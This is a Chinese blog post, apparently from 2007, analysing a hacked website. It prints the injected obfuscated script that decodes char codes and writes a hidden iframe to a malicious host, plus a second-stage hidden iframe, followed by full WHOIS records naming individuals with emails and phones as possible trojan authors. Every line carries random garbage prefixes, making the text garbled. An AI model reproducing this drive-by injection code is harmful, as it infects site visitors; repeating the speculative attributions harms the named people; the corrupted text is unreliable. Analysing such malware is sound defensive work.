首发在我的博客里面，
&yQilyU{V 5Oa`1?C1 http://www.areway.cn/?p=175 &EELq"5K "5 /i tU5Z?QS 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
tR! !Q uA'S8b%C <script>t=’60,105,102,114,97,109,101,
:Z}d#Rbl 32,115,114,99,61,104,116,116,112,58,47,47,
]d}h`!: 102,114,101,101,46,117,45,117,117,117,46,99,
$s* nh>@7 110,47,101,114,114,111,114,46,104,116,109,
TpH vZ]c 32,119,105,100,116,104,61,49,48,48,32,104,
DaA9fJ7a
101,105,103,104,116,61,48,62,60,47,105,102,
d~G, * 114,97,109,101,62′;
9L` 5r$/ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
c"pI+Q z vM=k-Ec <script>t=’60,105,102,114,97,109,101,32,115,
015
;'V#we 114,99,61,104,116,116,112,58,47,47,102,114,
]ZkR~? 101,101,46,117,45,117,117,117,46,99,110,47,
<~%e{F:[# 101,114,114,111,114,46,104,116,109,32,119,
,C=Lu9 105,100,116,104,61,49,48,48,32,104,101,105,
sULCYiT|Hn 103,104,116,61,48,62,60,47,105,102,114,97,
g}cb>'=={ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
#[Z1W8e document.write(t);</script>
(P+TOu-y\ sQ)D.9\~ <html xmlns=”
j o7`DDb http://www.w3.org/1999/xhtml ;2NJkn9t “>
nB~h mE) <head>
_RT JEG <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
a5)<roWQ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
up# R9
d| <title>首页 - 爱生活家庭网
b`lLqV<[cB >q}Ns^ .' 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
d4 Hpe> 转换字符串后的大概内容是（谁点击后果自付）：
Wk0"U
V <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
% ![%wI? /M0A9Z T[ 查询玉米u-uuu.cn的详细信息：
\!+#9sq0 Domain Name: u-uuu.cn
v$P<:M M ROID: 20070901s10001s64972306-cn
feSj3,<! Domain Status: ok
?!uj8&yyf Registrant Organization: 王雷
<] SI - Registrant Name: 王雷
BA5b;+o- Administrative Email:
czlovexs@126.com 2j*+^ &M/ Sponsoring Registrar: 北京万网志成科技有限公司
~]d3
f Name Server:ns.yovole.com
! H^,p$`[i Name Server:ns1.yovole.com
5t,W'a_ Registration Date: 2007-09-01 17:54
+1te 8P* Expiration Date: 2008-09-01 17:54
Q^B !^_M 最后PING了一下地址 都没有什么….
jMpV c
E# D~(f7~c% 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
LU7ia[T <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
\8KAK3i' <script language=”javascript” src=”
&F8N$H http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script bh[`uRC} >
bzl-|+!yB 这个玉米应该有可能是木马作者的：
z;V Ai=m
q foafau.info的详细信息：
<{z*6FM!' Access to INFO WHOIS information is provided to assist persons in
AjW5H* determining the contents of a domain name registration record in the
y<h~jz#hkq Afilias registry database. The data in this record is provided by
hHu?%f* Afilias Limited for informational purposes only, and Afilias does not
}#b[@3/T guarantee its accuracy. This service is intended only for query-based
mmJ$+$JEk access. You agree that you will use this data only for lawful purposes
cLZaQsS% and that, under no circumstances will you use this data to: (a) allow,
~!PaBS3A enable, or otherwise support the transmission by e-mail, telephone, or
eB] R<a60 facsimile of mass unsolicited, commercial advertising or solicitations
=k{ n! e to entities other than the data recipient’s own existing customers; or
A i~j
q (b) enable high volume, automated, electronic processes that send
60iMfc T queries or data to the systems of Registry Operator, a Registrar, or
~ ~"qT Afilias except as reasonably necessary to register domain names or
[?= Vqd modify existing registrations. All rights reserved. Afilias reserves
vmY 88Kx&S the right to modify these terms at any time. By submitting this query,
0sQt+_Dl%L you agree to abide by this policy.
S260h,(, Domain ID:D22418703-LRMS
;REl G>#$ Domain Name:FOAFAU.INFO
u>K(m))5W3 Created On:20-Nov-2007 16:05:42 UTC
Im<i.a
<` Last Updated On:20-Nov-2007 16:05:44 UTC
RqONVytx Expiration Date:20-Nov-2008 16:05:42 UTC
iB1+4wa Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
[s} n v] Status:CLIENT DELETE PROHIBITED
Uyuvmt> Status:CLIENT RENEW PROHIBITED
(oUh:w.]Gw Status:CLIENT TRANSFER PROHIBITED
|([ |F|" Status:CLIENT UPDATE PROHIBITED
B5pWSS Status:TRANSFER PROHIBITED
8+?| 4'\` Registrant ID:GODA-040110615
{SQ#n@Q&$ Registrant Name:liu hong
d:_3V rRZ Registrant Organization:
)~Pj 3 Registrant Street1:beijing
]y ** ZFA Registrant Street2:
kw M1f=!- Registrant Street3:
W/ \M9
Registrant City:beijing
Jn+k$'6 %# Registrant State/Province:
-J`VXG:M Registrant Postal Code:100000
IHrG!owf Registrant Country:CN
}(y X$ 3?` Registrant Phone:+86.860108888777
#guq/g$ Registrant Phone Ext.:
av!'UZP Registrant FAX:
]9 ArT$ Registrant FAX Ext.:
gQ0W>\xz Registrant Email:bbbshiji@163.com
O 8\wH Admin ID:GODA-240110615
)[Bl3+' Admin Name:liu hong
m j!P
] Admin Organization:
9iwSE(}, Admin Street1:beijing
z5UY0>+VdS Admin Street2:
g?mfpw Zj Admin Street3:
6]mFw{6qn1 Admin City:beijing
`yvH0B - Admin State/Province:
x,+2k6Wn! Admin Postal Code:100000
)M: pg% Admin Country:CN
zD D1Eyc H Admin Phone:+86.860108888777
F.DR Gi.i Admin Phone Ext.:
}[2|86,G; Admin FAX:
/ &eF,4 Admin FAX Ext.:
:mI[fQ Admin Email:bbbshiji@163.com
vz *'1ugaA Billing ID:GODA-340110615
^(:Z*+X~> Billing Name:liu hong
m0 a <~ Billing Organization:
Z2t
r? ] Billing Street1:beijing
]i@WZ( Billing Street2:
T 8.
to Billing Street3:
rDEd MT Billing City:beijing
7/UdE:~]*= Billing State/Province:
ITmW/Im5 Billing Postal Code:100000
W3HTQGV Billing Country:CN
- /
tzt Billing Phone:+86.860108888777
m|%L[h1 Billing Phone Ext.:
#6'+e35^ 8 Billing FAX:
; "1 Billing FAX Ext.:
br[ n5 Billing Email:bbbshiji@163.com
W3h{5\d! Tech ID:GODA-140110615
P*kKeMl Tech Name:liu hong
DH*=IzcJf Tech Organization:
vp_$Ft-R Tech Street1:beijing
).8i*Ys,: Tech Street2:
yaw33/i N Tech Street3:
>+3tOv3: Tech City:beijing
p&O-]o8 Tech State/Province:
[? 1m6u; Tech Postal Code:100000
YZH qy++x Tech Country:CN
/yd<+on^ Tech Phone:+86.860108888777
B'U;i5u4' Tech Phone Ext.:
IW&.JNcN Tech FAX:
aP}%&{iC* Tech FAX Ext.:
h]w5N2$}? Tech Email:bbbshiji@163.com
qbun P! Name Server:NS27.DOMAINCONTROL.COM
9si, z Name Server:NS28.DOMAINCONTROL.COM
mKh <M)Bz Name Server:
F VVpyB| Name Server:
xtN=?WjVe0 Name Server:
*
SHQ[L4{ Name Server:
l}aJRG6U Name Server:
Kd%>:E* Name Server:
D,<# pNO_ Name Server:
`(dRb Name Server:
}w%W A&"W Name Server:
sP`
k{xG Name Server:
$mF(6< w Name Server:
F#
a)"$j; E~| XY9U36 接着下载每个文件里面的代码：
,iYKtS3 一步一步看..
;A3aUN;"I 
Cjn)`Q8 
M%#H>X\/ 
|TE\ ] 
6Y-sc*5 
SaA9)s 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
